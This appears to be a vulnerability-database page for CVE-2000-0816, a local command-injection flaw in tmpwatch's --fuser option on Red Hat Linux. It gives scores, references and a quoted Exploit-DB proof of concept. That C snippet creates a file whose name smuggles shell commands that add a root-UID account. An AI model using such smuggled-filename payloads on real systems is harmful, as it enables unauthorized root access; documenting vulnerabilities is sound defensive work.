CVE-2000-0816 : Detail

CVE-2000-0816

0.04%V3
Local
2001-05-07
02h00 +00:00
2004-09-02
07h00 +00:00
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CVE Descriptions

Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20285

Publication date : 2000-10-05 22h00 +00:00
Author : X-Force
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/1785/info A vulnerability exists in tmpwatch, a utility which automates the removal of temporary files in unix-like systems. An optional component of tmpwatch, fuser, improperly handles arguments to system() library calls. If an attacker creates a file with a maliciously-constructed filename including shell meta characters, and -fuser is run on this file, the attacker may be able to execute arbitrary commands, potentially compromising superuser access if tmpwatch is run with root privileges. #include <stdio.h> int main() { FILE *f; char filename[100] = ";useradd -u 0 -g 0 haks0r;mail [email protected]<blablabla"; if((f = fopen(filename, "a")) == 0) { perror("Could not create file"); exit(1); } close(f); }

Products Mentioned

Configuraton 0

Redhat>>Linux >> Version 6.2

    Redhat>>Linux >> Version 6.2

      Redhat>>Linux >> Version 6.2

        Redhat>>Linux >> Version 7.0

        References

        http://www.redhat.com/support/errata/RHSA-2000-080.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://xforce.iss.net/alerts/advise64.php
        Tags : third-party-advisory, x_refsource_ISS
        http://www.securityfocus.com/bid/1785
        Tags : vdb-entry, x_refsource_BID